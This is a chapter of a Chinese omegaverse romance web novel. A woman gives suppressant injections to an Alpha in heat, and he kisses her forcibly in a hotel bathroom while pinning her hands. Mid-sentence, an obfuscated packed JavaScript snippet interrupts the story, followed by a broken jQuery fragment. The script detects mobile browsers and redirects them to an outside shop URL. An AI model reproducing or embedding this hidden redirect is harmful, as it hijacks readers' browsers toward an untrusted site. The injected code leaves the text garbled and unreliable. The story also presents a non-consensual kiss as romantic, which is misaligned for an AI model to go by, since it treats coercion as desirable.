方书禾沿着走廊径直走到最里面一间,她抬手敲门。
这一层是多功能厅以及部分住房,人员已经清空,房门大多敞开着。
一路走来,脚下是米色的地毯,除了走廊头顶持续工作的过滤器发出细微的声音,她几乎什么都听不到。
屋内没动静,方书禾定定神,拿出李正塞给她的万能房卡。
嘀的一声,门开了。
普通住房,站在门口一目了然。床铺保持着清洁后的模样,方书禾下意识将视线投向紧闭的浴室门。
她向前移动一步,里面传出道暗哑的声音,“出,去。”
方书禾停住脚,从盒子里拿出药剂准备好,才继续靠近,“是我。”
“Lee给了药剂,你现在能自己动吗?”
里头顿时没了声音。
方书禾想起刚才看到的几人联手控制住的Alpha,犹豫片刻后还是决定冒险。
按下把手,里面是扑面而来的水汽,湿漉漉的。
分明不是热气,那一瞬间,她险些无法呼吸。
浴室不大,裴谌仪坐在花洒下,浑身湿透。他单腿曲着,一只腿伸在淋浴区外,瞧上去可怜兮兮的,落汤鸡一样。衬衫最上头的纽扣解开了,露出一小截光洁的皮肤。随着呼吸,大片肉色在湿透的衣物下若隐若现。
方书禾连忙挪开眼,低下头撕开包装,一时间忘了最初的警惕。
在她低头的霎那,裴谌仪抬起眼,往日漂亮的绿色眼睛此刻沾了水汽,氤氲着说不清道不明的欲望。
空气中,无形的信息素在翻涌、叫嚣着往Beta身上裹去,落在后颈下方腺体的位置,一寸寸的舔舐、亲吻那处。得不到回应,只得往其它地方而去,碾磨、占有每寸肌肤。
对此,方书禾一无所知。
浴室外的信息素过滤器勤恳地工作着,安保室那头的工作人员盯着示警的红色数字,不由咂舌,让Beta进去真的安全吗,哪怕是伴侣也太.......上司没吭声,他默默闭嘴,还是先操心自己吧,保住工作要紧。
因在场宾客随便拿出来一个都是燕市说得出门道的人家,且受害者还是主家,酒店出于安全考虑,将保安室部分监控的权限共享给了李正,同一时间,外头的李正盯着飘红的数据忍不住地啃指甲,拜托拜托,请一定要顺利。
浴室里,只准备抑制剂的功夫,方书禾就感觉自己出了层薄汗。
“我进来了。”她先提醒了一句,才顶着过分炽热的目光进去。她熟练地在裴谌仪脚边蹲下,拉起他的胳膊,给他注射。
全程,裴谌仪一动不动,安静地像个大型玩偶。若非异于平日的呼吸起伏、微微泛粉的脸颊与脖子、掌心下滚烫的皮肤,她几乎要以为李正弄错了。
一针结束,方书禾观察着裴谌仪的状态,琢磨着是否还要继续。身边的人呼吸平缓不少,不接触也知道皮肤依旧滚烫。她想了想,按照李正说的拿起了镇定剂。
她听过Alpha易感期的科普,怎么着都跟眼前的人对不上。十几秒后,她起身,走出去联系李正,告诉他解决了。
李正惊异,压低嗓子说:“可是,信息素监测器一直在发出警报啊。”
身后传来的动静陡然令方书禾一惊,她回头,瞧见裴谌仪挣扎着在拨弄盒子里的针剂,动作粗暴不已。
“那以往怎么处理的?就一直注射?”
“对啊,挺过去就好了”,李正声音更低了,“总之alpha耐造的很,您不用担心。”
方书禾:“.......”
说不担心是假的,她只是有些惊讶。
“您看裴总能动弹吗,把他放进您的休息室会好些。”
事出突然,裴谌仪察觉到在场alpha的不对劲后,打晕了两人,接着吩咐李正紧急转移现场的客人,一条条指令安排完,就把自己关进了最近的房间。
幸好李正身上常年随身携带抑制剂,要不然真要闹出丑闻来。
作为下属,李正不敢左右上司的私事,但他是对领导心思再明白不过的了,唯一能做的就是见缝插针。
方书禾没有犹豫,“行,我带他上去。”
说是休息室,其实是个大的套间,不止一间卧房。方书禾前一晚是跟林为安挤在客房睡的,两人聊到了大半夜后来她就没回去。
上午的仪式是在一间屋里,与她午睡的不是一处。
李正动作迅速,挂完电话迅速联络了酒店开放vip电梯权限。
方书禾却犯了难,她完全指挥不了裴谌仪。原先她以为裴谌仪理智尚在,甚至要给自己注射,说几句话的功夫才发现他跟顽童一样将剩下的针剂全部拆封,推着玩。
她扑过去抢救,一盒子的针剂勉强剩下口服药没被霍霍。得,别的全废。
裴谌仪停下手里的动作,眼睁睁地看着Beta靠近。
方书禾一转头,紧张地抿唇。人看着是冷静了,她却没来由的觉得危险。
裴谌仪伸出手,按住她的手,目光下移,停在她的唇上,“为什么,不走?”
走去哪里?方书禾思考片刻,猜测是他一开始说的“出去”。于公,在这样的场合她离开不合适,于私......她做不到。
指尖代替目光,裴谌仪轻轻用力,呢喃道,“是真的吗?”
方书禾听不懂,但如果她能听懂,她也说不了话。
裴谌仪的手卡在她的下巴上,大拇指摩挲唇瓣。下一秒,他倾身,吻了上去。
一触即分。
紧接着,裴谌仪用另一只手扣住她的腰,压向自己。
为了抢救药剂,原本方书禾是单腿半蹲的动作,如今被他突然一扯,她结结实实撞向他,身体本能地防范,双手按在了他的大腿上,隔着西裤也能感受到坚硬的肌肉。
脑袋里有什么东西轰然炸开,方书禾愣住了。
齿关被轻易扣开,温热湿滑的舌挤进来,淡淡的葡萄酒味,和中午喝的是同一款。
她双手用力,推搡身前的人,衣服潮湿,肌肉硬邦邦的。
裴谌仪将扣住她腰的手挪开,抓住她挣扎的两只手,摁在身前,继续确认。
先是生涩的试探,逐渐大胆放肆起来。过分的侵入引起她的反抗,推搡不过,逃脱不了,只得被迫接受,直到舌根被吮弄得发麻。
由于缺氧,方书禾渐渐放弃挣扎,身体软下来。
裴谌仪终于放开她,重新去亲她的眼皮,给她留出呼吸的余地。
鼻端的气息炽热,存在感明显。嘴里发麻,方书禾不住咽口水,眼皮过于敏感,她没敢睁开眼。因而,也就错过了裴谌仪眼底浓郁的情愫。
“书禾”,裴谌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17783470|205426||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
仪的小臂揽在她的后腰上,没让她倒下去,声音低沉,“真的。”
方书禾不想说话。她十分确定裴谌仪处在易感期,跟上午的他判若两人,早知道就不该心软。
她瞄了眼孤零零躺在地上的盒子,里面能用的就剩下口服药了。这个时候,Alpha会乖乖服用吗?她表示怀疑。
很快,她没心思继续想了。
裴谌仪的呼吸深重,抵在她肩窝的脑袋不住地蹭,像是在嗅闻她身上的气味,得不到想要的逐渐焦躁起来。从啄吻后颈开始,一点点往腺体的位置而去,渴望标记的犬齿或轻或重地落下,啃咬、舔吻。
Beta的腺体约等于不存在,无法回应。
方书禾浑身紧绷,生怕刺激到他。她小心翼翼探出只手,努力去够一边的盒子。
裴谌仪察觉到她的动作,警惕起来,扣住她腰的手用力。
方书禾吃痛,喊他,“阿谌!”
裴谌仪缓慢停下动作,紧张地检查怀里的人,钳制住的动作毫不退让。
不加掩饰的侵略性眼神。
事已至此,方书禾没办法再欺骗自己。她闭了闭眼,深呼吸,她需要重新审视彼此之间的关系了。
但是,绝不是在这种情况下。
方书禾勾到盒子,三下五除二剥开三片药片,塞进嘴里,转身勾住Alpha的脖子,吻住他的唇。
学着他先前的动作,笨拙地将片剂往他那边推。
片剂溶化得快,苦涩的味道很快蔓延在两人唇齿间,好在有酒味打底,算不上特别难受。
方书禾的接受能力良好,初初学会换气的后果就是被摁着亲了又亲。
俩人终于分开,唇瓣分离的片刻,银丝断开。
方书禾喘着气,平复呼吸。不能再继续下去了,要不然......
她竭力控制呼吸节奏,试图说服Alpha,“阿谌,去楼上。”
距离她跟李正联系已经过去了好一会儿,她都不愿意去想一会儿该怎么解释了。
裴谌仪沉沉的目光笼罩着她,好半天才吐出一个字,“好。”
躲开眼神,方书禾懒得去分析他现在的状态,默默决定等事了一定要去为科技捐款。裴谌仪此刻的乖巧是表象,方书禾已经确认这点了,还是让专业的人来解决。
往外走,方书禾都是一直被Alpha揽在怀里的状态。
等在电梯边上的李正转了又转,期间检测到的信息素浓度一度飙升,好不容易慢慢回落到最初飘红的数值。
要不是担心事后问责以及身体不允许,他都想冲进去了。
好不容易见到人,他难得的卡了壳。两位上司虽然衣衫整洁,但其中一位湿了大半,以及......他的视线下移,快速挪开,另一位唇色红润,过分饱满,明眼人一瞧就知道发生了什么。
李正迅速收回不敢置信的眼神,装作什么都没瞧见的样子,顶着Alpha暴郁警告的视线,飞快提醒方书禾,“书禾小姐,电梯直达顶楼。由于堵车,预计两小时后医生会到。”
Alpha放出的信息素稳定在巧妙的浓度,只攻击他,要是可以,李正恨不得立刻打车跑得远远的。
方书禾应声,带着Alpha走进电梯。
梯门关上后,李正才暗骂了一句黑心上司,走进隔壁一部。